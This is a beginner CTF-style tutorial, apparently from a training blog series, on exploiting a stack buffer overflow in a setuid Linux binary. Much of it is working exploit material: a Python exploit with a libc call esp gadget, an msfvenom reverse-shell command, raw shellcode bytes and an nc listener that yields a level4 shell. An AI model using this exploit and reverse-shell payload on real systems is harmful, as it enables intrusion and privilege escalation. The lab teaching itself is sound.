Stack Overflows for Beginners — Level 4

Updated July 25, 2025

Welcome again to the Stack Overflows for Beginners series! In this post, we continue with the Level 4 binary and work on exploiting it to get the next flag. We’ll continue exploiting buffer overflows, but this time, we’ll move toward achieving reliable reverse shell access by chaining key exploitation techniques.

If you haven’t read the first part yet, I recommend checking it out first to understand the background, setup, and our goals in this challenge series.

This walkthrough is part of my beginner-level training series, Linux Usermode Exploitation 101,” created to help newcomers build a solid foundation in Linux-based exploit development and security research.

Level 4 Objectives

  • Make an educated guess to identify the exact offset to EIP manually
  • Manually locate useful gadgets (alternative way)
  • Use the call esp technique to redirect execution to our shellcode
  • Generate and inject a reverse shell payload
  • Gain code execution by popping a shell on the target system

Accessing the Level 3 User

To begin this level, we switch to the level3 user using the password we found in the previous challenge.

(See the Level 3 post for how we found it.)

level3@kali:/home/level2$ cd /home/level3
level3@kali:~$ ls
level3.txt  levelFour
level3@kali:~$ ls -l levelFour 
-rwsr-sr-x 1 level4 level4 15592 Jun  8  2019 levelFour

New levelFour binary is owned by user and group level4 and is executable. Because of the s in the permission string -rwsr-sr-x, running this binary will execute it with the privileges of level4, not level3. This is the key to privilege escalation in this level.

Disassembling

We use GDB to inspect the functions available inside the levelFour binary.

(gdb) info func
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  setresuid@plt
0x00001040  printf@plt
0x00001050  geteuid@plt
0x00001060  strcpy@plt
[...]
0x000011c9  overflow
0x00001209  main
[...]
0x000012d4  _fini

From this, we focus on main and overflow, which look like the targets of interest.

Inspecting main

We disassemble main and see it calls geteuid, sets the UID with setresuid, and then passes an argument to the overflow function.

(gdb) disass main
Dump of assembler code for function main:
   0x00001209 <+0>:	lea    ecx,[esp+0x4]
   0x0000120d <+4>:	and    esp,0xfffffff0
   0x00001210 <+7>:	push   DWORD PTR [ecx-0x4]
   0x00001213 <+10>:	push   ebp
   0x00001214 <+11>:	mov    ebp,esp
   [...]
   0x00001251 <+72>:	call   0x11c9 <overflow>

The function passes a value to overflow, likely user-controlled. This makes overflow an ideal candidate for a buffer overflow.

Inspecting overflow

Here is the full disassembly of the overflow function.

(gdb) disass overflow 
Dump of assembler code for function overflow:
   0x000011c9 <+0>:	push   ebp
   0x000011ca <+1>:	mov    ebp,esp
   0x000011cc <+3>:	push   ebx
   0x000011cd <+4>:	sub    esp,0x14
   [...]
   0x000011e5 <+28>:	call   0x1060 <strcpy@plt>

We see the function allocates 0x14 (20) bytes on the stack with sub esp, 0x14. It then calls strcpy, copying user input into a buffer located at [ebp-0x18]. This is a classic unsafe call — strcpy does not check input length. Since only 20 bytes are reserved, anything longer starts overwriting saved registers or the return address. That’s exactly what will lead to the crash of program.

Finding the Overflow

We verify how many bytes it takes to crash the program.

(gdb) r $(python3 -c "print('A' * 0x14)")
Starting program: /home/level3/levelFour $(python3 -c "print('A' * 0x14)")
Buf: AAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 4921) exited normally]

Sending 20 bytes (0x14) doesn’t crash the binary. Now we test with 24 bytes.

(gdb) r $(python3 -c "print('A' * 24)")
Starting program: /home/level3/levelFour $(python3 -c "print('A' * 24)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x56556268 in main ()

At 24 bytes, we trigger a segmentation fault. This confirms that the overflow overwrites memory beyond the buffer and crashes the application.

Controlling EIP

We can run the binary with 28 As followed by 4 Bs.

(gdb) r $(python3 -c "print('A' * 28 + 'B' * 4)")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level3/levelFour $(python3 -c "print('A' * 28 + 'B' * 4)")
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

The value 0x42424242 shows that EIP is fully overwritten after 28 bytes of padding.

We can write a quick script to generate a larger payload.

(gdb) shell cat exploit.py 
from struct import pack

size = 1000
offset = 28 				   

shellcode = b"\x90" * 16

buf = b"A" * offset     		# padding up to EIP overwrite
buf += b"B" * 4         		# EIP overwrite
buf += shellcode
buf += b"C" * (size - len(buf)) # junk

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf) 

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

Then, generate and run the payload.

(gdb) shell python3 exploit.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000

(gdb) r $(cat payload.bin)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level3/levelFour $(cat payload.bin)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB...[SNIP]...CCCCCCCCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info r
eax            0x3ee               1006
ecx            0x1                 1
edx            0xf7fa9890          -134571888
ebx            0x41414141          1094795585
esp            0xffffceb0          0xffffceb0
ebp            0x41414141          0x41414141
esi            0xffffcf00          -12544
edi            0xf7fa8000          -134578176
eip            0x42424242          0x42424242
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99
(gdb) 

At this point, execution flow is under our control which EIP overwritten by 0x42424242

Identifying Bad Characters

Let’s update the PoC to include a full byte range, starting with \x01 and skipping only the default badchar \x00.

(gdb) shell cat exploit.py 
from struct import pack

size = 1000
offset = 28 				 

shellcode = b"\x90" * 16

badchars = b"\x01\x02...[SNIP]...\xff"

buf = b"A" * offset     		# padding up to EIP overwrite
buf += b"B" * 4         		# EIP overwrite
buf += badchars
buf += b"C" * (size - len(buf)) # junk

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf) 

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

Now, place a breakpoint at the return of the overflow function (0x56556208) to inspect what gets copied onto the stack.

(gdb) b *0x56556208
Breakpoint 2 at 0x56556208

(gdb) shell python3 exploit.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000
(gdb) r $(cat payload.bin)
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level3/levelFour $(cat payload.bin)

Breakpoint 2, 0x56556208 in overflow ()

Now, step once to reach the point where execution is redirected and examine the stack contents.

(gdb) ni
0x42424242 in ?? ()

(gdb) x/350bx $esp
0xffffceb0:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffceb8:	0x00	0x03	0x00	0x00	0x2e	0x62	0x55	0x56
0xffffcec0:	0xfc	0x83	0xfa	0xf7	0x00	0x90	0x55	0x56
0xffffcec8:	0xa8	0xcf	0xff	0xff	0xeb	0x03	0x00	0x00
0xffffced0:	0x04	0x00	0x00	0x00	0x94	0xcf	0xff	0xff
0xffffced8:	0xa8	0xcf	0xff	0xff	0x00	0xcf	0xff	0xff
0xffffcee0:	0x00	0x00	0x00	0x00	0x00	0x80	0xfa	0xf7
[...]

After \x08, we spot a \x00, meaning \x09 was likely interpreted or corrupted. We mark \x09 as a bad character and regenerate the payload without it.

We repeat this process iteratively: removing each badchar, regenerating the payload, and inspecting the stack.

Eventually, we identify the badchars that corrupt our payload: \x00\x09\x0a\x20

These characters must be avoided when encoding the final shellcode or address values.

Redirecting Execution to Shellcode

This time, we avoid using the typical jmp esp instruction. Instead, we look for an alternative: call esp.

(gdb) shell msf-nasm_shell
nasm > call esp
00000000  FFD4              call esp

Using objdump, we search for the opcode ff d4 inside libc.so.6.

(gdb) shell objdump -D libc.so.6 -M intel | grep 'ff d4'
  18de9b:	ff d4                	call   esp

Now we find the base address of libc from memory mappings.

(gdb) info proc mappings
[...]
0xf7dce000 0xf7de7000    0x19000        0x0 /usr/lib32/libc-2.28.so

Using the offset of the instruction (0x18de9b) and the base address, we calculate the absolute address:

(gdb) p/x 0xf7dce000 + 0x18de9b
$6 = 0xf7f5be9b

(gdb) x/1i 0xf7f5be9b
   0xf7f5be9b:	call   esp

This gives us a reliable gadget to redirect execution to our shellcode.

Now, update the PoC:

(gdb) shell cat exploit.py 
from struct import pack

size = 1000
offset = 28 				

shellcode = b"\x90" * 16

# bads: \x00\x09\x0a\x20

buf = b"A" * offset     	# padding up to EIP overwrite
buf += pack("<I",0xf7f5be9b)    # EIP overwrite [libc-2.28.so]
buf += shellcode 
buf += b"C" * (size - len(buf)) # junk

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf) 

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

Generate the payload:

(gdb) shell python3 exploit.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000

Set a breakpoint at the return address of the overflow function:

(gdb) b *0x56556208

Run the payload:

(gdb) r $(cat payload.bin)
Starting program: /home/level3/levelFour $(cat payload.bin)
Buf: AAAAAAAAAAAAAAAAAAAAAAAA...[SNIP]...CCCCCCCCCCCCCCCCC

Breakpoint 1, 0x56556208 in overflow ()

Step over to the instruction at the overwritten EIP:

(gdb) ni
0xf7f5be9b in ?? () from /lib32/libc.so.6

(gdb) x/1i $eip
=> 0xf7f5be9b:	call   esp

Step over the next instruction, which jumps to the stack:

(gdb) ni
0xffffceb0 in ?? ()
(gdb) 
0xffffceb1 in ?? ()

Inspect the memory at ESP to confirm our shellcode landed correctly:

[...]
(gdb) x/16bx 0xffffceb4
0xffffceb4:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffcebc:	0x90	0x90	0x90	0x90	0x43	0x43	0x43	0x43

We successfully execute through the NOP sled without issue. Execution is now under full control, and we’re ready to inject functional shellcode.

Executing Reverse Shell

Before jumping in, a quick note on what a reverse shell is and why we need it. A reverse shell allows a target machine to connect back to an attacker’s system, providing remote command execution. This is useful in situations where inbound connections to the victim are blocked by firewalls, but outbound connections are allowed.

In this challenge, we’ll use a reverse shell payload to gain a shell as the level4 user.

We start by checking available payloads in msfvenom.

$ msfvenom -l payloads | grep linux
[...]
    linux/x86/shell_reverse_tcp                         Connect back to attacker and spawn a command shell
[...]

Now generate the payload:

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4443 -b "\x00\x09\x0a\x20" -v shellcode -f py

The encoder avoids the known badchars, and returns a 95-byte shellcode.

Now we update our exploit with the actual shellcode:

(gdb) shell cat exploit.py 
from struct import pack

size = 1000
offset = 28 				

shellcode = b"\x90" * 16
shellcode += b"\xbe\xd3\x2f\x8d\xe2\xd9\xe5\xd9\x74\x24\xf4\x5f"
shellcode += b"\x31\xc9\xb1\x12\x31\x77\x12\x03\x77\x12\x83\x14"
shellcode += b"\x2b\x6f\x17\xab\xef\x98\x3b\x98\x4c\x34\xd6\x1c"
shellcode += b"\xda\x5b\x96\x46\x11\x1b\x44\xdf\x19\x23\xa6\x5f"
shellcode += b"\x10\x25\xc1\x37\xdc\xd5\x31\xc6\x4a\xd4\x31\xd9"
shellcode += b"\xd1\x51\xd0\x69\x83\x31\x42\xda\xff\xb1\xed\x3d"
shellcode += b"\x32\x35\xbf\xd5\xa3\x19\x33\x4d\x54\x49\x9c\xef"
shellcode += b"\xcd\x1c\x01\xbd\x5e\x96\x27\xf1\x6a\x65\x27"

# bads: \x00\x09\x0a\x20

buf = b"A" * offset     		# padding up to EIP overwrite
buf += pack("<I",0xf7f5be9b)    	# EIP overwrite [libc-2.28.so]
buf += shellcode 
buf += b"C" * (size - len(buf))         # junk

print("[*] Generating payload")

with open("payload.bin", "wb") as f:
    f.write(buf) 

print("[+] Payload has been generated!")
print(f"[!] Payload size: {len(buf)}")

Start a listener on the attacker’s machine:

$ nc -nvlp 4443
listening on [any] 4443 ...

Now execute the exploit:

$ python3 exploit.py 
[*] Generating payload
[+] Payload has been generated!
[!] Payload size: 1000

level3@kali:~$ ./levelFour $(cat payload.bin)
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAA����������������������/�����t$�_1ɱ1ww�+o��;�L4��[�F
                                                                                    �#�_%�7��1�J�1��Q�i�1B����=25�գ3MTI����^�'�je'CCCCCCC...[SNIP]...CCCCCCCCCCCCCCCCCCCCCCCC

And we get a shell back:

$ nc -nvlp 4443
listening on [any] 4443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 53990
id
uid=1004(level4) gid=1003(level3) groups=1003(level3)

Now that we have code execution as level4, we grab the flag:

cd /home/level4
ls
level4.txt  levelFive
cat level4.txt
[REDACTED]

Now, we have a shell as level4 and can read the flag (password) and are ready to move on to the next level.